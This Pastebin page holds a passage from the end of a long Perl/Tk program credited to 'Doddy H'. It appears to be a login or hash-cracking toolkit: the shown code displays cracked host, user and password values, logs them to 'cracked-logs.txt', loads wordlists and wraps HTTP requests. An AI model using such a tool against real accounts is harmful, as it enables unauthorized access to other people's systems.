  3662.             -background => $color_fondo,
  3663.             -foreground => $color_texto
  3664.         )->place( -x => 20, -y => 80 );
  3665.         my $pass_found = $foundtk->Entry(
  3666.             -width      => 24,
  3667.             -background => $color_fondo,
  3668.             -foreground => $color_texto
  3669.         )->place( -x => 103, -y => 85 );
  3670.  
  3671.         $host_found->configure( -text => $_[0] );
  3672.         $user_found->configure( -text => $_[1] );
  3673.         $pass_found->configure( -text => $_[2] );
  3674.  
  3675.         savefile( "cracked-logs.txt",
  3676.             $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );
  3677.  
  3678.         last;
  3679.  
  3680.     }
  3681.  
  3682.     sub openwordlist {
  3683.  
  3684.         my @words;
  3685.         my ($file) = @_;
  3686.  
  3687.         open( FILE, $file );
  3688.         my @words = <FILE>;
  3689.         close FILE;
  3690.  
  3691.         return @words;
  3692.  
  3693.     }
  3694.  
  3695.     sub bronaf {
  3696.         $newdax->update;
  3697.         $browse = $newdax->FileSelect( -directory => getcwd() );
  3698.         my $file = $browse->Show;
  3699.         $password->configure( -text => $file );
  3700.     }
  3701.  
  3702.     sub aboutxaz {
  3703.         $newdax->Dialog(
  3704.             -title            => "About",
  3705.             -buttons          => ["OK"],
  3706.             -text             => "Coded By Doddy H",
  3707.             -background       => $color_fondo,
  3708.             -foreground       => $color_texto,
  3709.             -activebackground => $color_texto
  3710.         )->Show();
  3711.     }
  3712.  
  3713.     sub openlogsaz {
  3714.         my $f = "cracked-logs.txt";
  3715.         if ( -f $f ) {
  3716.             system($f);
  3717.         }
  3718.         else {
  3719.             $newdax->Dialog(
  3720.                 -title            => "Error",
  3721.                 -buttons          => ["OK"],
  3722.                 -text             => "File Not Found",
  3723.                 -background       => $color_fondo,
  3724.                 -foreground       => $color_texto,
  3725.                 -activebackground => $color_texto
  3726.             )->Show();
  3727.         }
  3728.     }
  3729.  
  3730.     sub exitnowaz {
  3731.         $newdax->destroy();
  3732.     }
  3733.  
  3734. }    #End
  3735.  
  3736. ##
  3737.  
  3738. #Funciones vitales
  3739.  
  3740. sub toma {
  3741.     return $nave->get( $_[0] )->content;
  3742. }
  3743.  
  3744. sub tomados {
  3745.     return $nave->get( $_[0] );
  3746. }
  3747.  
  3748. sub tomar {
  3749.     my ( $web, $var ) = @_;
  3750.     return $nave->post( $web, [ %{$var} ] )->content;
  3751. }
  3752.  
  3753. sub openlogsa {
  3754.     system("start logs/info-logs.txt");
  3755. }
  3756.  
  3757. sub installer {
  3758.     unless ( -d "/logs" ) {
  3759.         mkdir( "logs/", 777 );
  3760.     }
  3761. }
  3762.  
  3763. sub savefile {
  3764.     open( SAVE, ">>logs/" . $_[0] );
  3765.     print SAVE $_[1] . "\n";
  3766.     close SAVE;
  3767. }
  3768.  
  3769. sub repes {
  3770.     my @limpio;
  3771.     foreach $test (@_) {
  3772.         push @limpio, $test unless $repe{$test}++;
  3773.     }
  3774.     return @limpio;
  3775. }
  3776.  
  3777. sub ver_length {
  3778.     return true if length( $_[0] ) == 32;
  3779. }
  3780.  
  3781. sub menu_about {
  3782.     $mejor->Dialog(
  3783.         -title            => "About",
  3784.         -buttons          => ["OK"],
  3785.         -text             => "Coded By Doddy H",
  3786.         -background       => $color_fondo,
  3787.         -foreground       => $color_texto,
  3788.         -activebackground => $color_texto
  3789.     )->Show();
  3790. }
  3791.  
  3792. sub menu_exit {
  3793.     exit(1);
  3794. }
  3795.  
  3796. #The End ?
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!